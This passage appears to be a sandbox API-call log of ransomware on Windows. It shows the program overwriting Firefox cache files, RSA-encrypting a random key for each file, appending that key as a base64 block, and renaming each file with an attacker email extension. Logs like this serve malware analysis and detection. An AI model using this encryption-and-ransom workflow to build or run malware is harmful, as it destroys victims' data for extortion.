Size=0x100) returned 0x2f81aa0 [0284.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0284.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81aa0 | out: hHeap=0x570000) returned 1 [0284.932] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0284.932] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2770) returned 1 [0284.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xad2) returned 0x3446048 [0284.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xad2) returned 0x3437008 [0284.932] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xad2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xad2, lpOverlapped=0x0) returned 1 [0285.018] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2770, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.018] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0xad2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xad2, lpOverlapped=0x0) returned 1 [0285.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0285.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0285.019] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xad2 [0285.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.019] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.019] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.019] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.019] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xF4qxKGTZHb3yNql6AmWix4hoAHc2rO11JdgTi5E+D0CxJxwFx+u7/BVCvOIxnQ5\nyres2ZO1o73p/2TXlw4vFnWnkn0I9kY29QFjgtYHhSGOWO+m4ojUkzAzyNaHH5mD\nhLiNqkcUKKx8wL46eKZsL5vCm47IGWuGqx18snMQUEOA5Od+GDgCUsXPI2yV3SFw\nXms83HtndlBoryr7q7RKXVGihVfrJ84N7/M/w28p47Ee5sBSaYuljmx4+pOVmgbf\nd6HyCeSOobYgiWefc00W8bjxZ0mGYssI8Bqh8OEDkVVbg0CY3vpj7OM6pLCmknJL\nPOoPg/b6JiN9tsAcdcyvVA==\n", pcchString=0x2e3f9a8) returned 1 [0285.019] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.019] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.019] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.020] CloseHandle (hObject=0x1b84) returned 1 [0285.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.020] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\2598A1CBB2EA6DB15DFF6382E5B17F41B01B4F0E.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\2598a1cbb2ea6db15dff6382e5b17f41b01b4f0e.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0285.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81998 | out: hHeap=0x570000) returned 1 [0285.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0285.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0285.022] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.022] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329", dwFileAttributes=0x80) returned 1 [0285.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0285.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0285.022] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.023] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3644) returned 1 [0285.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3c) returned 0x3446048 [0285.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe3c) returned 0x3437008 [0285.023] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe3c, lpOverlapped=0x0) returned 1 [0285.037] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x3437008*, nNumberOfBytesToWrite=0xe3c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3437008*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe3c, lpOverlapped=0x0) returned 1 [0285.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3446048 | out: hHeap=0x570000) returned 1 [0285.038] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3437008 | out: hHeap=0x570000) returned 1 [0285.038] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe3c [0285.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.038] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.038] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.038] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.038] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cXx672Ua1PyO8mfjkl8scm5L5Lu6YeJ0+5veDSckjli6fNrmIQRkXbVx9yo9N8wd\nESE6DbQ3Xpz0V3hteFcHU2aN0svc0W9JZNdmCHdo2k/buUojzp0jwvkOKvIoXBF9\nW7NYtzRlzOoKlhkLx6hOKrgjHXrGHSTu2mgpJVN4ZwBCWM2Anwl85/hzDwDZFuTN\nis8vvWuxttWezAtpvZtsG9wSnaa2nW1amG7VF3I3hAE7hr8p9n2ktVywlrkfiMIy\nVhx30R1TapsRzkzw1Fbh9RWaAcSeOroUAlO6wYEsaesGYKKnLZB/97uqj1BDDD97\nr42s1IJE9RQEYsRn6FUOkQ==\n", pcchString=0x2e3f9a8) returned 1 [0285.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.038] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.038] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.039] CloseHandle (hObject=0x1b84) returned 1 [0285.039] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.039] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\254686BCA69ED43CB6F2FD35C26758AA2D993329.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\254686bca69ed43cb6f2fd35c26758aa2d993329.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0285.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82808 | out: hHeap=0x570000) returned 1 [0285.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82808 [0285.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0285.041] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.041] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A", dwFileAttributes=0x80) returned 1 [0285.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0285.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.041] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.041] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.042] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=74022) returned 1 [0285.042] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12126) returned 0x3540048 [0285.042] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12126) returned 0x3552178 [0285.042] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0x12126, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x12126, lpOverlapped=0x0) returned 1 [0285.065] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-74022, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.065] WriteFile (in: hFile=0x1b84, lpBuffer=0x3552178*, nNumberOfBytesToWrite=0x12126, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3552178*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12126, lpOverlapped=0x0) returned 1 [0285.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3540048 | out: hHeap=0x570000) returned 1 [0285.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3552178 | out: hHeap=0x570000) returned 1 [0285.065] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12126 [0285.066] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.066] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.066] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.066] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.066] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YBkzrsUTLgTbDVpHzIZ35O4ibJYR1WN/GR5hc2Mj7bli/ts/QkrxwOXGmM+e/MI3\nlc1KVdu1nJLgtttRmk+8eu9SNuiOAI84NQCCvWmBJDWATBmnUJ1MJqIL1gn4/Buv\njgxhrJO3I64Dtl0xjGZq5HVh1bM5xHm8+vmP1/0OCP5kk5yUGhrBttsECBOS+Nrj\nn7AuCZ6P/Op47Yye4U92EzFHtdGkXV301a5hjfWxr9WRwXwH5EgKxyG6MvdaA/gO\n29NuYu1HbWC6WwDw2NkLTi+TOHGtm47Qdl0oZsKyIioOOcvwW4Cx/NIw+kxe7oxT\n4Ci2EDbBjrld2UIAE4lpHg==\n", pcchString=0x2e3f9a8) returned 1 [0285.066] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.066] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.066] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.066] CloseHandle (hObject=0x1b84) returned 1 [0285.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.066] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24F9514653FD834D9D33E21B4C0AECB308550A9A.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24f9514653fd834d9d33e21b4c0aecb308550a9a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0285.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82808 | out: hHeap=0x570000) returned 1 [0285.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f82700 | out: hHeap=0x570000) returned 1 [0285.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83678 [0285.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0285.069] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0285.069] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3", dwFileAttributes=0x80) returned 1 [0285.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83468 [0285.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17e) returned 0x5a5ef8 [0285.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0285.069] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b84 [0285.069] GetFileSizeEx (in: hFile=0x1b84, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1872) returned 1 [0285.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x750) returned 0x2f3e850 [0285.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x750) returned 0x313e810 [0285.070] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e850, nNumberOfBytesToRead=0x750, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesRead=0x2e3f9b4*=0x750, lpOverlapped=0x0) returned 1 [0285.170] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0285.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x313e810*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e810*, lpNumberOfBytesWritten=0x2e3f9b4*=0x750, lpOverlapped=0x0) returned 1 [0285.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e850 | out: hHeap=0x570000) returned 1 [0285.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x313e810 | out: hHeap=0x570000) returned 1 [0285.170] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x750 [0285.170] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.170] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0285.170] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0285.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0285.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0285.171] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kODDeIsH6USGY310j48IWJI1YlSXujguJLOAvK/x5151nxM7LWAknXUXVFY/2zGd\nd/nHyha3BwHqUCE1WXlZiFPAgz8do35Q1YxbPwL/y8xPgzKzVFDXPETywPw54uzi\nFU4qKzg32IJZ2ocqau20s0KyNqt/YPalLGFymYfLa6T5jQOPCv2katWlkfIQm6TP\ndSu08rAzJy8O85QDyFVDCKqSdhgfuCmNENf4cmmakdoZZF9JEYKKKqiqwzF4c1gl\n+lM9LLNaRPllHDcMVz9nSbjlPAHer8N0MKi3KNFOFOhamu7AKMiOnRyAnTDnCyhR\nYzN2XuVGOMs0IDCLQhqVVA==\n", pcchString=0x2e3f9a8) returned 1 [0285.171] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0285.171] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0285.171] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0285.171] CloseHandle (hObject=0x1b84) returned 1 [0285.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0285.171] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\24C5A11C7C55D609ED86B6E31E2C94301D075CB3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\24c5a11c7c55d609ed86b6e31e2c94301d075cb3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0285.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0285.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0285.175] HeapFree (in: 